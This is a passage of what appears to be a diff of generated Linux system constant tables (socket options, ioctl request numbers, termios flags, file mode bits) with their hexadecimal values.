-- SIOCBONDSLAVEINFOQUERY = 0x8993
-- SIOCBRADDBR = 0x89a0
-- SIOCBRADDIF = 0x89a2
-- SIOCBRDELBR = 0x89a1
-- SIOCBRDELIF = 0x89a3
-- SIOCDARP = 0x8953
-- SIOCDELDLCI = 0x8981
-- SIOCDELMULTI = 0x8932
-- SIOCDELRT = 0x890c
-- SIOCDEVPRIVATE = 0x89f0
-- SIOCDIFADDR = 0x8936
-- SIOCDRARP = 0x8960
-- SIOCETHTOOL = 0x8946
-- SIOCGARP = 0x8954
-- SIOCGHWTSTAMP = 0x89b1
-- SIOCGIFADDR = 0x8915
-- SIOCGIFBR = 0x8940
-- SIOCGIFBRDADDR = 0x8919
-- SIOCGIFCONF = 0x8912
-- SIOCGIFCOUNT = 0x8938
-- SIOCGIFDSTADDR = 0x8917
-- SIOCGIFENCAP = 0x8925
-- SIOCGIFFLAGS = 0x8913
-- SIOCGIFHWADDR = 0x8927
-- SIOCGIFINDEX = 0x8933
-- SIOCGIFMAP = 0x8970
-- SIOCGIFMEM = 0x891f
-- SIOCGIFMETRIC = 0x891d
-- SIOCGIFMTU = 0x8921
-- SIOCGIFNAME = 0x8910
-- SIOCGIFNETMASK = 0x891b
-- SIOCGIFPFLAGS = 0x8935
-- SIOCGIFSLAVE = 0x8929
-- SIOCGIFTXQLEN = 0x8942
-- SIOCGIFVLAN = 0x8982
-- SIOCGMIIPHY = 0x8947
-- SIOCGMIIREG = 0x8948
-- SIOCGPGRP = 0x8904
-- SIOCGRARP = 0x8961
-- SIOCGSKNS = 0x894c
-- SIOCGSTAMP = 0x8906
-- SIOCGSTAMPNS = 0x8907
-- SIOCINQ = 0x541b
-- SIOCOUTQ = 0x5411
-- SIOCOUTQNSD = 0x894b
-- SIOCPROTOPRIVATE = 0x89e0
-- SIOCRTMSG = 0x890d
-- SIOCSARP = 0x8955
-- SIOCSHWTSTAMP = 0x89b0
-- SIOCSIFADDR = 0x8916
-- SIOCSIFBR = 0x8941
-- SIOCSIFBRDADDR = 0x891a
-- SIOCSIFDSTADDR = 0x8918
-- SIOCSIFENCAP = 0x8926
-- SIOCSIFFLAGS = 0x8914
-- SIOCSIFHWADDR = 0x8924
-- SIOCSIFHWBROADCAST = 0x8937
-- SIOCSIFLINK = 0x8911
-- SIOCSIFMAP = 0x8971
-- SIOCSIFMEM = 0x8920
-- SIOCSIFMETRIC = 0x891e
-- SIOCSIFMTU = 0x8922
-- SIOCSIFNAME = 0x8923
-- SIOCSIFNETMASK = 0x891c
-- SIOCSIFPFLAGS = 0x8934
-- SIOCSIFSLAVE = 0x8930
-- SIOCSIFTXQLEN = 0x8943
-- SIOCSIFVLAN = 0x8983
-- SIOCSMIIREG = 0x8949
-- SIOCSPGRP = 0x8902
-- SIOCSRARP = 0x8962
-- SIOCWANDEV = 0x894a
-- SOCK_CLOEXEC = 0x80000
-- SOCK_DCCP = 0x6
-- SOCK_DGRAM = 0x2
-- SOCK_IOC_TYPE = 0x89
-- SOCK_NONBLOCK = 0x800
-- SOCK_PACKET = 0xa
-- SOCK_RAW = 0x3
-- SOCK_RDM = 0x4
-- SOCK_SEQPACKET = 0x5
-- SOCK_STREAM = 0x1
-- SOL_AAL = 0x109
-- SOL_ALG = 0x117
-- SOL_ATM = 0x108
-- SOL_CAIF = 0x116
-- SOL_CAN_BASE = 0x64
-- SOL_DCCP = 0x10d
-- SOL_DECNET = 0x105
-- SOL_ICMPV6 = 0x3a
-- SOL_IP = 0x0
-- SOL_IPV6 = 0x29
-- SOL_IRDA = 0x10a
-- SOL_IUCV = 0x115
-- SOL_KCM = 0x119
-- SOL_LLC = 0x10c
-- SOL_NETBEUI = 0x10b
-- SOL_NETLINK = 0x10e
-- SOL_NFC = 0x118
-- SOL_PACKET = 0x107
-- SOL_PNPIPE = 0x113
-- SOL_PPPOL2TP = 0x111
-- SOL_RAW = 0xff
-- SOL_RDS = 0x114
-- SOL_RXRPC = 0x110
-- SOL_SOCKET = 0x1
-- SOL_TCP = 0x6
-- SOL_TIPC = 0x10f
-- SOL_X25 = 0x106
-- SOMAXCONN = 0x80
-- SO_ACCEPTCONN = 0x1e
-- SO_ATTACH_BPF = 0x32
-- SO_ATTACH_FILTER = 0x1a
-- SO_ATTACH_REUSEPORT_CBPF = 0x33
-- SO_ATTACH_REUSEPORT_EBPF = 0x34
-- SO_BINDTODEVICE = 0x19
-- SO_BPF_EXTENSIONS = 0x30
-- SO_BROADCAST = 0x6
-- SO_BSDCOMPAT = 0xe
-- SO_BUSY_POLL = 0x2e
-- SO_CNX_ADVICE = 0x35
-- SO_DEBUG = 0x1
-- SO_DETACH_BPF = 0x1b
-- SO_DETACH_FILTER = 0x1b
-- SO_DOMAIN = 0x27
-- SO_DONTROUTE = 0x5
-- SO_ERROR = 0x4
-- SO_GET_FILTER = 0x1a
-- SO_INCOMING_CPU = 0x31
-- SO_KEEPALIVE = 0x9
-- SO_LINGER = 0xd
-- SO_LOCK_FILTER = 0x2c
-- SO_MARK = 0x24
-- SO_MAX_PACING_RATE = 0x2f
-- SO_NOFCS = 0x2b
-- SO_NO_CHECK = 0xb
-- SO_OOBINLINE = 0xa
-- SO_PASSCRED = 0x10
-- SO_PASSSEC = 0x22
-- SO_PEEK_OFF = 0x2a
-- SO_PEERCRED = 0x11
-- SO_PEERNAME = 0x1c
-- SO_PEERSEC = 0x1f
-- SO_PRIORITY = 0xc
-- SO_PROTOCOL = 0x26
-- SO_RCVBUF = 0x8
-- SO_RCVBUFFORCE = 0x21
-- SO_RCVLOWAT = 0x12
-- SO_RCVTIMEO = 0x14
-- SO_REUSEADDR = 0x2
-- SO_REUSEPORT = 0xf
-- SO_RXQ_OVFL = 0x28
-- SO_SECURITY_AUTHENTICATION = 0x16
-- SO_SECURITY_ENCRYPTION_NETWORK = 0x18
-- SO_SECURITY_ENCRYPTION_TRANSPORT = 0x17
-- SO_SELECT_ERR_QUEUE = 0x2d
-- SO_SNDBUF = 0x7
-- SO_SNDBUFFORCE = 0x20
-- SO_SNDLOWAT = 0x13
-- SO_SNDTIMEO = 0x15
-- SO_TIMESTAMP = 0x1d
-- SO_TIMESTAMPING = 0x25
-- SO_TIMESTAMPNS = 0x23
-- SO_TYPE = 0x3
-- SO_VM_SOCKETS_BUFFER_MAX_SIZE = 0x2
-- SO_VM_SOCKETS_BUFFER_MIN_SIZE = 0x1
-- SO_VM_SOCKETS_BUFFER_SIZE = 0x0
-- SO_VM_SOCKETS_CONNECT_TIMEOUT = 0x6
-- SO_VM_SOCKETS_NONBLOCK_TXRX = 0x7
-- SO_VM_SOCKETS_PEER_HOST_VM_ID = 0x3
-- SO_VM_SOCKETS_TRUSTED = 0x5
-- SO_WIFI_STATUS = 0x29
-- SPLICE_F_GIFT = 0x8
-- SPLICE_F_MORE = 0x4
-- SPLICE_F_MOVE = 0x1
-- SPLICE_F_NONBLOCK = 0x2
-- S_BLKSIZE = 0x200
-- S_IEXEC = 0x40
-- S_IFBLK = 0x6000
-- S_IFCHR = 0x2000
-- S_IFDIR = 0x4000
-- S_IFIFO = 0x1000
-- S_IFLNK = 0xa000
-- S_IFMT = 0xf000
-- S_IFREG = 0x8000
-- S_IFSOCK = 0xc000
-- S_IREAD = 0x100
-- S_IRGRP = 0x20
-- S_IROTH = 0x4
-- S_IRUSR = 0x100
-- S_IRWXG = 0x38
-- S_IRWXO = 0x7
-- S_IRWXU = 0x1c0
-- S_ISGID = 0x400
-- S_ISUID = 0x800
-- S_ISVTX = 0x200
-- S_IWGRP = 0x10
-- S_IWOTH = 0x2
-- S_IWRITE = 0x80
-- S_IWUSR = 0x80
-- S_IXGRP = 0x8
-- S_IXOTH = 0x1
-- S_IXUSR = 0x40
-- TAB0 = 0x0
-- TAB1 = 0x800
-- TAB2 = 0x1000
-- TAB3 = 0x1800
-- TABDLY = 0x1800
-- TASKSTATS_CMD_ATTR_MAX = 0x4
-- TASKSTATS_CMD_MAX = 0x2
-- TASKSTATS_GENL_NAME = "TASKSTATS"
-- TASKSTATS_GENL_VERSION = 0x1
-- TASKSTATS_TYPE_MAX = 0x6
-- TASKSTATS_VERSION = 0x8
-- TCFLSH = 0x540b
-- TCGETA = 0x5405
-- TCGETS = 0x5401
-- TCGETS2 = 0x802c542a
-- TCGETX = 0x5432
-- TCIFLUSH = 0x0
-- TCIOFF = 0x2
-- TCIOFLUSH = 0x2
-- TCION = 0x3
-- TCOFLUSH = 0x1
-- TCOOFF = 0x0
-- TCOON = 0x1
-- TCP_CC_INFO = 0x1a
-- TCP_CONGESTION = 0xd
-- TCP_COOKIE_IN_ALWAYS = 0x1
-- TCP_COOKIE_MAX = 0x10
-- TCP_COOKIE_MIN = 0x8
-- TCP_COOKIE_OUT_NEVER = 0x2
-- TCP_COOKIE_PAIR_SIZE = 0x20
-- TCP_COOKIE_TRANSACTIONS = 0xf
-- TCP_CORK = 0x3
-- TCP_DEFER_ACCEPT = 0x9
-- TCP_FASTOPEN = 0x17
-- TCP_INFO = 0xb
-- TCP_KEEPCNT = 0x6
-- TCP_KEEPIDLE = 0x4
-- TCP_KEEPINTVL = 0x5
-- TCP_LINGER2 = 0x8
-- TCP_MAXSEG = 0x2
-- TCP_MAXWIN = 0xffff
-- TCP_MAX_WINSHIFT = 0xe
-- TCP_MD5SIG = 0xe
-- TCP_MD5SIG_MAXKEYLEN = 0x50
-- TCP_MSS = 0x200
-- TCP_MSS_DEFAULT = 0x218
-- TCP_MSS_DESIRED = 0x4c4
-- TCP_NODELAY = 0x1
-- TCP_NOTSENT_LOWAT = 0x19
-- TCP_QUEUE_SEQ = 0x15
-- TCP_QUICKACK = 0xc
-- TCP_REPAIR = 0x13
-- TCP_REPAIR_OPTIONS = 0x16
-- TCP_REPAIR_QUEUE = 0x14
-- TCP_REPAIR_WINDOW = 0x1d
-- TCP_SAVED_SYN = 0x1c
-- TCP_SAVE_SYN = 0x1b
-- TCP_SYNCNT = 0x7
-- TCP_S_DATA_IN = 0x4
-- TCP_S_DATA_OUT = 0x8
-- TCP_THIN_DUPACK = 0x11
-- TCP_THIN_LINEAR_TIMEOUTS = 0x10
-- TCP_TIMESTAMP = 0x18
-- TCP_USER_TIMEOUT = 0x12
-- TCP_WINDOW_CLAMP = 0xa
-- TCSAFLUSH = 0x2
-- TCSBRK = 0x5409
-- TCSBRKP = 0x5425
-- TCSETA = 0x5406
-- TCSETAF = 0x5408
-- TCSETAW = 0x5407
-- TCSETS = 0x5402
-- TCSETS2 = 0x402c542b
-- TCSETSF = 0x5404
-- TCSETSF2 = 0x402c542d
-- TCSETSW = 0x5403
-- TCSETSW2 = 0x402c542c
-- TCSETX = 0x5433
-- TCSETXF = 0x5434
-- TCSETXW = 0x5435
-- TCXONC = 0x540a
-- TIOCCBRK = 0x5428
-- TIOCCONS = 0x541d
-- TIOCEXCL = 0x540c
-- TIOCGDEV = 0x80045432
-- TIOCGETD = 0x5424
-- TIOCGEXCL = 0x80045440
-- TIOCGICOUNT = 0x545d
-- TIOCGLCKTRMIOS = 0x5456
-- TIOCGPGRP = 0x540f
-- TIOCGPKT = 0x80045438
-- TIOCGPTLCK = 0x80045439
-- TIOCGPTN = 0x80045430
-- TIOCGRS485 = 0x542e
-- TIOCGSERIAL = 0x541e
-- TIOCGSID = 0x5429
-- TIOCGSOFTCAR = 0x5419
-- TIOCGWINSZ = 0x5413
-- TIOCINQ = 0x541b
-- TIOCLINUX = 0x541c
-- TIOCMBIC = 0x5417
-- TIOCMBIS = 0x5416
-- TIOCMGET = 0x5415
-- TIOCMIWAIT = 0x545c
-- TIOCMSET = 0x5418
-- TIOCM_CAR = 0x40
-- TIOCM_CD = 0x40
-- TIOCM_CTS = 0x20
-- TIOCM_DSR = 0x100
-- TIOCM_DTR = 0x2
-- TIOCM_LE = 0x1
-- TIOCM_RI = 0x80
-- TIOCM_RNG = 0x80
-- TIOCM_RTS = 0x4
-- TIOCM_SR = 0x10
-- TIOCM_ST = 0x8
-- TIOCNOTTY = 0x5422
-- TIOCNXCL = 0x540d
-- TIOCOUTQ = 0x5411
-- TIOCPKT = 0x5420
-- TIOCPKT_DATA = 0x0
-- TIOCPKT_DOSTOP = 0x20
-- TIOCPKT_FLUSHREAD = 0x1
-- TIOCPKT_FLUSHWRITE = 0x2
-- TIOCPKT_IOCTL = 0x40
-- TIOCPKT_NOSTOP = 0x10
-- TIOCPKT_START = 0x8
-- TIOCPKT_STOP = 0x4
-- TIOCSBRK = 0x5427
-- TIOCSCTTY = 0x540e
-- TIOCSERCONFIG = 0x5453
-- TIOCSERGETLSR = 0x5459
-- TIOCSERGETMULTI = 0x545a
-- TIOCSERGSTRUCT = 0x5458
-- TIOCSERGWILD = 0x5454
-- TIOCSERSETMULTI = 0x545b
-- TIOCSERSWILD = 0x5455
-- TIOCSER_TEMT = 0x1
-- TIOCSETD = 0x5423
-- TIOCSIG = 0x40045436
-- TIOCSLCKTRMIOS = 0x5457
-- TIOCSPGRP = 0x5410
-- TIOCSPTLCK = 0x40045431
-- TIOCSRS485 = 0x542f
-- TIOCSSERIAL = 0x541f
-- TIOCSSOFTCAR = 0x541a
-- TIOCSTI = 0x5412
-- TIOCSWINSZ = 0x5414
-- TIOCVHANGUP = 0x5437
-- TOSTOP = 0x100
-- TS_COMM_LEN = 0x20
-- TUNATTACHFILTER = 0x401054d5
-- TUNDETACHFILTER = 0x401054d6
-- TUNGETFEATURES = 0x800454cf
-- TUNGETFILTER = 0x801054db
-- TUNGETIFF = 0x800454d2
-- TUNGETSNDBUF = 0x800454d3
-- TUNGETVNETBE = 0x800454df
-- TUNGETVNETHDRSZ = 0x800454d7
-- TUNGETVNETLE = 0x800454dd
-- TUNSETDEBUG = 0x400454c9
-- TUNSETGROUP = 0x400454ce
-- TUNSETIFF = 0x400454ca
-- TUNSETIFINDEX = 0x400454da
-- TUNSETLINK = 0x400454cd
-- TUNSETNOCSUM = 0x400454c8
-- TUNSETOFFLOAD = 0x400454d0
-- TUNSETOWNER = 0x400454cc
-- TUNSETPERSIST = 0x400454cb
-- TUNSETQUEUE = 0x400454d9
-- TUNSETSNDBUF = 0x400454d4
-- TUNSETTXFILTER = 0x400454d1
-- TUNSETVNETBE = 0x400454de
-- TUNSETVNETHDRSZ = 0x400454d8
-- TUNSETVNETLE = 0x400454dc
-- UMOUNT_NOFOLLOW = 0x8
-- VDISCARD = 0xd
-- VEOF = 0x4
-- VEOL = 0xb
-- VEOL2 = 0x10
-- VERASE = 0x2
-- VINTR = 0x0
-- VKILL = 0x3
-- VLNEXT = 0xf
-- VMADDR_CID_ANY = 0xffffffff
-- VMADDR_CID_HOST = 0x2
-- VMADDR_CID_HYPERVISOR = 0x0
-- VMADDR_CID_RESERVED = 0x1
-- VMADDR_PORT_ANY = 0xffffffff
-- VMIN = 0x6
-- VM_SOCKETS_INVALID_VERSION = 0xffffffff
-- VQUIT = 0x1
-- VREPRINT = 0xc
-- VSTART = 0x8
-- VSTOP = 0x9
-- VSUSP = 0xa
-- VSWTC = 0x7
-- VT0 = 0x0
-- VT1 = 0x4000
-- VTDLY = 0x4000
-- VTIME = 0x5
-- VWERASE = 0xe
-- WALL = 0x40000000
-- WCLONE = 0x80000000
-- WCONTINUED = 0x8
-- WEXITED = 0x4
-- WNOHANG = 0x1
-- WNOTHREAD = 0x20000000
-- WNOWAIT = 0x1000000
-- WORDSIZE = 0x40
-- WSTOPPED = 0x2
-- WUNTRACED = 0x2
-- XATTR_CREATE = 0x1
-- XATTR_REPLACE = 0x2
-- XCASE = 0x4
-- XTABS = 0x1800
-+ B1000000 = 0x1008
-+ B115200 = 0x1002
-+ B1152000 = 0x1009
-+ B1500000 = 0x100a
-+ B2000000 = 0x100b
-+ B230400 = 0x1003
-+ B2500000 = 0x100c
-+ B3000000 = 0x100d
-+ B3500000 = 0x100e
-+ B4000000 = 0x100f
-+ B460800 = 0x1004
-+ B500000 = 0x1005
-+ B57600 = 0x1001
-+ B576000 = 0x1006
-+ B921600 = 0x1007
-+ BLKBSZGET = 0x80081270
-+ BLKBSZSET = 0x40081271
-+ BLKFLSBUF = 0x1261
-+ BLKFRAGET = 0x1265
-+ BLKFRASET = 0x1264
-+ BLKGETSIZE = 0x1260
-+ BLKGETSIZE64 = 0x80081272
-+ BLKPBSZGET = 0x127b
-+ BLKRAGET = 0x1263
-+ BLKRASET = 0x1262
-+ BLKROGET = 0x125e
-+ BLKROSET = 0x125d
-+ BLKRRPART = 0x125f
-+ BLKSECTGET = 0x1267
-+ BLKSECTSET = 0x1266
-+ BLKSSZGET = 0x1268
-+ BOTHER = 0x1000
-+ BS1 = 0x2000
-+ BSDLY = 0x2000
-+ CBAUD = 0x100f
-+ CBAUDEX = 0x1000
-+ CIBAUD = 0x100f0000
-+ CLOCAL = 0x800
-+ CR1 = 0x200
-+ CR2 = 0x400
-+ CR3 = 0x600
-+ CRDLY = 0x600
-+ CREAD = 0x80
-+ CS6 = 0x10
-+ CS7 = 0x20
-+ CS8 = 0x30
-+ CSIZE = 0x30
-+ CSTOPB = 0x40
-+ ECHOCTL = 0x200
-+ ECHOE = 0x10
-+ ECHOK = 0x20
-+ ECHOKE = 0x800
-+ ECHONL = 0x40
-+ ECHOPRT = 0x400
-+ EFD_CLOEXEC = 0x80000
-+ EFD_NONBLOCK = 0x800
-+ EPOLL_CLOEXEC = 0x80000
-+ ESR_MAGIC = 0x45535201
-+ EXTPROC = 0x10000
-+ EXTRA_MAGIC = 0x45585401
-+ FF1 = 0x8000
-+ FFDLY = 0x8000
-+ FLUSHO = 0x1000
-+ FPSIMD_MAGIC = 0x46508001
-+ FS_IOC_ENABLE_VERITY = 0x40806685
-+ FS_IOC_GETFLAGS = 0x80086601
-+ FS_IOC_GET_ENCRYPTION_POLICY = 0x400c6615
-+ FS_IOC_GET_ENCRYPTION_PWSALT = 0x40106614
-+ FS_IOC_SET_ENCRYPTION_POLICY = 0x800c6613
-+ F_GETLK = 0x5
-+ F_GETLK64 = 0x5
-+ F_GETOWN = 0x9
-+ F_RDLCK = 0x0
-+ F_SETLK = 0x6
-+ F_SETLK64 = 0x6
-+ F_SETLKW = 0x7
-+ F_SETLKW64 = 0x7
-+ F_SETOWN = 0x8
-+ F_UNLCK = 0x2
-+ F_WRLCK = 0x1
-+ HUPCL = 0x400
-+ ICANON = 0x2
-+ IEXTEN = 0x8000
-+ IN_CLOEXEC = 0x80000
-+ IN_NONBLOCK = 0x800
-+ IOCTL_VM_SOCKETS_GET_LOCAL_CID = 0x7b9
-+ ISIG = 0x1
-+ IUCLC = 0x200
-+ IXOFF = 0x1000
-+ IXON = 0x400
-+ MAP_ANON = 0x20
-+ MAP_ANONYMOUS = 0x20
-+ MAP_DENYWRITE = 0x800
-+ MAP_EXECUTABLE = 0x1000
-+ MAP_GROWSDOWN = 0x100
-+ MAP_HUGETLB = 0x40000
-+ MAP_LOCKED = 0x2000
-+ MAP_NONBLOCK = 0x10000
-+ MAP_NORESERVE = 0x4000
-+ MAP_POPULATE = 0x8000
-+ MAP_STACK = 0x20000
-+ MAP_SYNC = 0x80000
-+ MCL_CURRENT = 0x1
-+ MCL_FUTURE = 0x2
-+ MCL_ONFAULT = 0x4
-+ NFDBITS = 0x40
-+ NLDLY = 0x100
-+ NOFLSH = 0x80
-+ NS_GET_NSTYPE = 0xb703
-+ NS_GET_OWNER_UID = 0xb704
-+ NS_GET_PARENT = 0xb702
-+ NS_GET_USERNS = 0xb701
-+ OLCUC = 0x2
-+ ONLCR = 0x4
-+ O_APPEND = 0x400
-+ O_ASYNC = 0x2000
-+ O_CLOEXEC = 0x80000
-+ O_CREAT = 0x40
-+ O_DIRECT = 0x10000
-+ O_DIRECTORY = 0x4000
-+ O_DSYNC = 0x1000
-+ O_EXCL = 0x80
-+ O_FSYNC = 0x101000
-+ O_LARGEFILE = 0x0
-+ O_NDELAY = 0x800
-+ O_NOATIME = 0x40000
-+ O_NOCTTY = 0x100
-+ O_NOFOLLOW = 0x8000
-+ O_NONBLOCK = 0x800
-+ O_PATH = 0x200000
-+ O_RSYNC = 0x101000
-+ O_SYNC = 0x101000
-+ O_TMPFILE = 0x404000
-+ O_TRUNC = 0x200
-+ PARENB = 0x100
-+ PARODD = 0x200
-+ PENDIN = 0x4000
-+ PERF_EVENT_IOC_DISABLE = 0x2401
-+ PERF_EVENT_IOC_ENABLE = 0x2400
-+ PERF_EVENT_IOC_ID = 0x80082407
-+ PERF_EVENT_IOC_MODIFY_ATTRIBUTES = 0x4008240b
-+ PERF_EVENT_IOC_PAUSE_OUTPUT = 0x40042409
-+ PERF_EVENT_IOC_PERIOD = 0x40082404
-+ PERF_EVENT_IOC_QUERY_BPF = 0xc008240a
-+ PERF_EVENT_IOC_REFRESH = 0x2402
-+ PERF_EVENT_IOC_RESET = 0x2403
-+ PERF_EVENT_IOC_SET_BPF = 0x40042408
-+ PERF_EVENT_IOC_SET_FILTER = 0x40082406
-+ PERF_EVENT_IOC_SET_OUTPUT = 0x2405
-+ PPPIOCATTACH = 0x4004743d
-+ PPPIOCATTCHAN = 0x40047438
-+ PPPIOCCONNECT = 0x4004743a
-+ PPPIOCDETACH = 0x4004743c
-+ PPPIOCDISCONN = 0x7439
-+ PPPIOCGASYNCMAP = 0x80047458
-+ PPPIOCGCHAN = 0x80047437
-+ PPPIOCGDEBUG = 0x80047441
-+ PPPIOCGFLAGS = 0x8004745a
-+ PPPIOCGIDLE = 0x8010743f
-+ PPPIOCGIDLE32 = 0x8008743f
-+ PPPIOCGIDLE64 = 0x8010743f
-+ PPPIOCGL2TPSTATS = 0x80487436
-+ PPPIOCGMRU = 0x80047453
-+ PPPIOCGRASYNCMAP = 0x80047455
-+ PPPIOCGUNIT = 0x80047456
-+ PPPIOCGXASYNCMAP = 0x80207450
-+ PPPIOCSACTIVE = 0x40107446
-+ PPPIOCSASYNCMAP = 0x40047457
-+ PPPIOCSCOMPRESS = 0x4010744d
-+ PPPIOCSDEBUG = 0x40047440
-+ PPPIOCSFLAGS = 0x40047459
-+ PPPIOCSMAXCID = 0x40047451
-+ PPPIOCSMRRU = 0x4004743b
-+ PPPIOCSMRU = 0x40047452
-+ PPPIOCSNPMODE = 0x4008744b
-+ PPPIOCSPASS = 0x40107447
-+ PPPIOCSRASYNCMAP = 0x40047454
-+ PPPIOCSXASYNCMAP = 0x4020744f
-+ PPPIOCXFERUNIT = 0x744e
-+ PR_SET_PTRACER_ANY = 0xffffffffffffffff
-+ PTRACE_SYSEMU = 0x1f
-+ PTRACE_SYSEMU_SINGLESTEP = 0x20
-+ RLIMIT_AS = 0x9
-+ RLIMIT_MEMLOCK = 0x8
-+ RLIMIT_NOFILE = 0x7
-+ RLIMIT_NPROC = 0x6
-+ RLIMIT_RSS = 0x5
-+ RNDADDENTROPY = 0x40085203
-+ RNDADDTOENTCNT = 0x40045201
-+ RNDCLEARPOOL = 0x5206
-+ RNDGETENTCNT = 0x80045200
-+ RNDGETPOOL = 0x80085202
-+ RNDRESEEDCRNG = 0x5207
-+ RNDZAPENTCNT = 0x5204
-+ RTC_AIE_OFF = 0x7002
-+ RTC_AIE_ON = 0x7001
-+ RTC_ALM_READ = 0x80247008
-+ RTC_ALM_SET = 0x40247007
-+ RTC_EPOCH_READ = 0x8008700d
-+ RTC_EPOCH_SET = 0x4008700e
-+ RTC_IRQP_READ = 0x8008700b
-+ RTC_IRQP_SET = 0x4008700c
-+ RTC_PIE_OFF = 0x7006
-+ RTC_PIE_ON = 0x7005
-+ RTC_PLL_GET = 0x80207011
-+ RTC_PLL_SET = 0x40207012
-+ RTC_RD_TIME = 0x80247009
-+ RTC_SET_TIME = 0x4024700a
-+ RTC_UIE_OFF = 0x7004
-+ RTC_UIE_ON = 0x7003
-+ RTC_VL_CLR = 0x7014
-+ RTC_VL_READ = 0x80047013
-+ RTC_WIE_OFF = 0x7010
-+ RTC_WIE_ON = 0x700f
-+ RTC_WKALM_RD = 0x80287010
-+ RTC_WKALM_SET = 0x4028700f
-+ SCM_TIMESTAMPING = 0x25
-+ SCM_TIMESTAMPING_OPT_STATS = 0x36
-+ SCM_TIMESTAMPING_PKTINFO = 0x3a
-+ SCM_TIMESTAMPNS = 0x23
-+ SCM_TXTIME = 0x3d
-+ SCM_WIFI_STATUS = 0x29
-+ SFD_CLOEXEC = 0x80000
-+ SFD_NONBLOCK = 0x800
-+ SIOCATMARK = 0x8905
-+ SIOCGPGRP = 0x8904
-+ SIOCGSTAMPNS_NEW = 0x80108907
-+ SIOCGSTAMP_NEW = 0x80108906
-+ SIOCINQ = 0x541b
-+ SIOCOUTQ = 0x5411
-+ SIOCSPGRP = 0x8902
-+ SOCK_CLOEXEC = 0x80000
-+ SOCK_DGRAM = 0x2
-+ SOCK_NONBLOCK = 0x800
-+ SOCK_STREAM = 0x1
-+ SOL_SOCKET = 0x1
-+ SO_ACCEPTCONN = 0x1e
-+ SO_ATTACH_BPF = 0x32
-+ SO_ATTACH_REUSEPORT_CBPF = 0x33
-+ SO_ATTACH_REUSEPORT_EBPF = 0x34
-+ SO_BINDTODEVICE = 0x19
-+ SO_BINDTOIFINDEX = 0x3e
-+ SO_BPF_EXTENSIONS = 0x30
-+ SO_BROADCAST = 0x6
-+ SO_BSDCOMPAT = 0xe
-+ SO_BUSY_POLL = 0x2e
-+ SO_CNX_ADVICE = 0x35
-+ SO_COOKIE = 0x39
-+ SO_DETACH_REUSEPORT_BPF = 0x44
-+ SO_DOMAIN = 0x27
-+ SO_DONTROUTE = 0x5
-+ SO_ERROR = 0x4
-+ SO_INCOMING_CPU = 0x31
-+ SO_INCOMING_NAPI_ID = 0x38
-+ SO_KEEPALIVE = 0x9
-+ SO_LINGER = 0xd
-+ SO_LOCK_FILTER = 0x2c
-+ SO_MARK = 0x24
-+ SO_MAX_PACING_RATE = 0x2f
-+ SO_MEMINFO = 0x37
-+ SO_NOFCS = 0x2b
-+ SO_OOBINLINE = 0xa
-+ SO_PASSCRED = 0x10
-+ SO_PASSSEC = 0x22
-+ SO_PEEK_OFF = 0x2a
-+ SO_PEERCRED = 0x11
-+ SO_PEERGROUPS = 0x3b
-+ SO_PEERSEC = 0x1f
-+ SO_PROTOCOL = 0x26
-+ SO_RCVBUF = 0x8
-+ SO_RCVBUFFORCE = 0x21
-+ SO_RCVLOWAT = 0x12
-+ SO_RCVTIMEO = 0x14
-+ SO_RCVTIMEO_NEW = 0x42
-+ SO_RCVTIMEO_OLD = 0x14
-+ SO_REUSEADDR = 0x2
-+ SO_REUSEPORT = 0xf
-+ SO_RXQ_OVFL = 0x28
-+ SO_SECURITY_AUTHENTICATION = 0x16
-+ SO_SECURITY_ENCRYPTION_NETWORK = 0x18
-+ SO_SECURITY_ENCRYPTION_TRANSPORT = 0x17
-+ SO_SELECT_ERR_QUEUE = 0x2d
-+ SO_SNDBUF = 0x7
-+ SO_SNDBUFFORCE = 0x20
-+ SO_SNDLOWAT = 0x13
-+ SO_SNDTIMEO = 0x15
-+ SO_SNDTIMEO_NEW = 0x43
-+ SO_SNDTIMEO_OLD = 0x15
-+ SO_TIMESTAMPING = 0x25
-+ SO_TIMESTAMPING_NEW = 0x41
-+ SO_TIMESTAMPING_OLD = 0x25
-+ SO_TIMESTAMPNS = 0x23
-+ SO_TIMESTAMPNS_NEW = 0x40
-+ SO_TIMESTAMPNS_OLD = 0x23
-+ SO_TIMESTAMP_NEW = 0x3f
-+ SO_TXTIME = 0x3d
-+ SO_TYPE = 0x3
-+ SO_WIFI_STATUS = 0x29
-+ SO_ZEROCOPY = 0x3c
-+ SVE_MAGIC = 0x53564501
-+ TAB1 = 0x800
-+ TAB2 = 0x1000
-+ TAB3 = 0x1800
-+ TABDLY = 0x1800
-+ TCFLSH = 0x540b
-+ TCGETA = 0x5405
-+ TCGETS = 0x5401
-+ TCGETS2 = 0x802c542a
-+ TCGETX = 0x5432
-+ TCSAFLUSH = 0x2
-+ TCSBRK = 0x5409
-+ TCSBRKP = 0x5425
-+ TCSETA = 0x5406
-+ TCSETAF = 0x5408
-+ TCSETAW = 0x5407
-+ TCSETS = 0x5402
-+ TCSETS2 = 0x402c542b
-+ TCSETSF = 0x5404
-+ TCSETSF2 = 0x402c542d
-+ TCSETSW = 0x5403
-+ TCSETSW2 = 0x402c542c
-+ TCSETX = 0x5433
-+ TCSETXF = 0x5434
-+ TCSETXW = 0x5435
-+ TCXONC = 0x540a
-+ TIOCCBRK = 0x5428
-+ TIOCCONS = 0x541d
-+ TIOCEXCL = 0x540c
-+ TIOCGDEV = 0x80045432
-+ TIOCGETD = 0x5424
-+ TIOCGEXCL = 0x80045440
-+ TIOCGICOUNT = 0x545d
-+ TIOCGISO7816 = 0x80285442
-+ TIOCGLCKTRMIOS = 0x5456
-+ TIOCGPGRP = 0x540f
-+ TIOCGPKT = 0x80045438
-+ TIOCGPTLCK = 0x80045439
-+ TIOCGPTN = 0x80045430
-+ TIOCGPTPEER = 0x5441
-+ TIOCGRS485 = 0x542e
-+ TIOCGSERIAL = 0x541e
-+ TIOCGSID = 0x5429
-+ TIOCGSOFTCAR = 0x5419
-+ TIOCGWINSZ = 0x5413
-+ TIOCINQ = 0x541b
-+ TIOCLINUX = 0x541c
-+ TIOCMBIC = 0x5417
-+ TIOCMBIS = 0x5416
-+ TIOCMGET = 0x5415
-+ TIOCMIWAIT = 0x545c
-+ TIOCMSET = 0x5418
-+ TIOCM_CAR = 0x40
-+ TIOCM_CD = 0x40
-+ TIOCM_CTS = 0x20
-+ TIOCM_DSR = 0x100
-+ TIOCM_RI = 0x80
-+ TIOCM_RNG = 0x80
-+ TIOCM_SR = 0x10
-+ TIOCM_ST = 0x8
-+ TIOCNOTTY = 0x5422
-+ TIOCNXCL = 0x540d
-+ TIOCOUTQ = 0x5411
